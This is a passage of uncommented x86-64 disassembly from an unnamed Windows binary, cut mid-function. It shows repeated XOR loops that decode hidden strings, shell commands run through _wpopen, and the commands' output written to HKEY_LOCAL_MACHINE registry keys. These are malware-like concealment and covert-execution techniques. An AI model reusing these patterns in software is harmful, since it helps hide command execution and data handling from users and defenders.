punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009e122
cmp r8d, 0x22
jge 0x14009e269
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x22
jl 0x14009e230
cmp word [0x1401715b6], r14w
mov rax, qword [0x1401715b0]
mov qword [rsp + 0x50], rax
je 0x14009e349
cmp esi, 2
jl 0x14009e301
movdqa xmm3, xmmword [0x140176ee0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140177230]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140177230]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140176f10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x50]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.333333335555555599999999]
xorps xmm2, xmm0
movq qword [rsp + 0x50], xmm2
jmp 0x14009e349
lea r9, [rsp + 0x50]
mov r8d, r14d
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 4
jl 0x14009e310
lea rcx, [rbp + 0x18]
call fcn.140092400
cmp qword [rbp + 0x28], r14
je 0x14009e3d3
mov qword [rsp + 0x40], r14
lea rax, [rbp]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov eax, dword [rbp + 0x28]
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 7
lea rdx, [rsp + 0x50]
mov r9d, 1
cmova rcx, qword [rbp + 0x18]
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, [rbp + 0x18]
call fcn.1400894f0
movups xmm0, xmmword [0x140171630]
mov r8d, r14d
movups xmm1, xmmword [0x140171640]
mov eax, dword [0x140171670]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140171650]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140171660]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009e549
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140177230]
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009e450
cmp r8d, 0x22
jge 0x14009e599
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x22
jl 0x14009e560
cmp word [0x140171b5e], r14w
mov rax, qword [str.td_6]
mov qword [rbp], rax
je 0x14009e679
cmp esi, 2
jl 0x14009e62e
movdqa xmm3, xmmword [0x140176ee0]
movdqa xmm2, xmm3
movdqa xmm0, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140177230]
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140177230]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140176f10]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.333333335555555599999999]
xorps xmm2, xmm0
movq qword [rbp], xmm2
jmp 0x14009e679
lea r9, [rbp]
mov r8d, r14d
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 4
jl 0x14009e640
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x200
call fcn.140149be4
cmp word [reloc.WS2_32.dll_gethostbyname], r14w
lea rdx, [0x140171d90]
movups xmm0, xmmword [rdx]
mov eax, dword [0x1401714b8]
lea rcx, [rbp + 0x40]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
mov dword [rsp + 0x50], eax
mov rax, qword [rdx + 0x40]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmmword [rcx - 0x10], xmm1
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmmword [rcx + 0x30], xmm1
mov qword [rcx + 0x40], rax
mov eax, dword [rdx + 0x48]
mov dword [rcx + 0x48], eax
je 0x14009e730
xor word [rsp + 0x52], 0x34
mov word [rsp + 0x50], r15w
mov r8d, r14d
cmp esi, 2
jl 0x14009e859
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rbp + 0x40]
movdqa xmm4, xmmword [0x140177230]
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x60
jl 0x14009e760
cmp r8d, 0x66
jge 0x14009e8a9
movsxd rax, r8d
lea r9, [rbp + 0x40]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x66
jl 0x14009e870
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x40]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
test rax, rax
je 0x14009e9ad
mov r8, rax
lea rcx, [rbp + 0x440]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009e9a4
lea rax, [rbp + 0x440]
mov rcx, rbx
nop dword [rax]
cmp word [rax + rcx*2 + 2], r14w
lea rcx, [rcx + 1]
jne 0x14009e8f0
lea rcx, [rcx*2 - 2]
cmp rcx, 0x200
jae 0x14009eed0
mov qword [rsp + 0x40], r14
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x60]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov word [rbp + rcx + 0x440], r14w
xor r8d, r8d
mov dword [rsp + 0x28], 0x20006
mov rcx, 0xffffffff80000002
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009e9a4
lea rcx, [rbp + 0x440]
mov rax, rbx
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009e960
mov rcx, qword [rbp + 8]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp]
lea rax, [rbp + 0x440]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
movups xmm0, xmmword [0x140171630]
mov r8d, r14d
movups xmm1, xmmword [0x140171640]
mov eax, dword [0x140171670]
movups xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140171650]
movups xmmword [rsp + 0x70], xmm1
movups xmm1, xmmword [0x140171660]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x60], eax
cmp esi, 2
jl 0x14009eb19
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rsp + 0x60]
movdqa xmm4, xmmword [0x140177230]
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x14009ea20
cmp r8d, 0x22
jge 0x14009eb69
movsxd rax, r8d
lea r9, [rsp + 0x60]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x22
jl 0x14009eb30
movups xmm0, xmmword [str.GXQW_n_b_]
movzx eax, word [0x140171520]
mov ecx, Ordinal_79
xor ax, 0x3b
xor edx, edx
movups xmmword [rbp + 0x18], xmm0
xor word [rbp + 0x1a], 0x34
mov r8d, 0x200
xor word [rbp + 0x1c], 0x35
xor word [rbp + 0x1e], 0x36
xor word [rbp + 0x20], 0x37
xor word [rbp + 0x22], 0x38
xor word [rbp + 0x24], 0x39
xor word [rbp + 0x26], 0x3a
mov word [rbp + 0x18], cx
lea rcx, [rbp + 0x40]
mov word [rbp + 0x28], ax
call fcn.140149be4
cmp word [reloc.WS2_32.dll_gethostbyname], r14w
movups xmm0, xmmword [0x140171970]
mov eax, dword [0x1401714b8]
movups xmm1, xmmword [0x140171980]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1401719a0]
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x20], ax
movups xmm0, xmmword [0x140171990]
movups xmmword [rbp - 0x40], xmm1
movups xmmword [rbp - 0x30], xmm0
je 0x14009ec0c
xor word [rsp + 0x52], 0x34
mov word [rsp + 0x50], r15w
mov r8d, r14d
cmp esi, 2
jl 0x14009ed39
movdqa xmm5, xmmword [0x140176ee0]
lea rcx, [rbp - 0x50]
movdqa xmm4, xmmword [0x140177230]
movdqa xmm6, xmmword [0x140176f10]
movdqa xmm7, xmmword [str.333333335555555599999999]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x18
jl 0x14009ec40
cmp r8d, 0x19
jge 0x14009ed89
movsxd rax, r8d
lea r9, [rbp - 0x50]
lea r9, [r9 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x33
add cx, r8w
inc r8d
xor word [r9 - 2], cx
cmp r8d, 0x19
jl 0x14009ed50
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wpopen]
mov rdi, rax
test rax, rax
je 0x14009ee9a
mov r8, rax
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
mov r8, rdi
lea rcx, [rbp + 0x40]
mov edx, 0xff
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetws]
test rax, rax
je 0x14009ee91
lea rcx, [rbp + 0x40]
mov rax, rbx
nop dword [rax + rax]
cmp word [rcx + rax*2 + 2], r14w
lea rax, [rax + 1]
jne 0x14009ede0
lea rax, [rax*2 - 2]
cmp rax, 0x200
jae 0x14009eed6
mov qword [rsp + 0x40], r14
lea rdx, [rsp + 0x60]
mov word [rbp + rax + 0x40], r14w
xor r9d, r9d
lea rax, [rbp + 8]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r14d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14009ee91
lea rax, [rbp + 0x40]
nop word [rax + rax]
cmp word [rax + rbx*2 + 2], r14w
lea rbx, [rbx + 1]
jne 0x14009ee50
mov rcx, qword [rbp + 8]
lea eax, [rbx*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rbp + 0x18]
lea rax, [rbp + 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
mov rcx, qword [rbp + 0x640]
xor rcx, rsp
call fcn.1401482c0
lea r11, [rsp + 0x770]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140148508
int3
call fcn.140148508
int3
call fcn.140148508
int3
call fcn.140148508
int3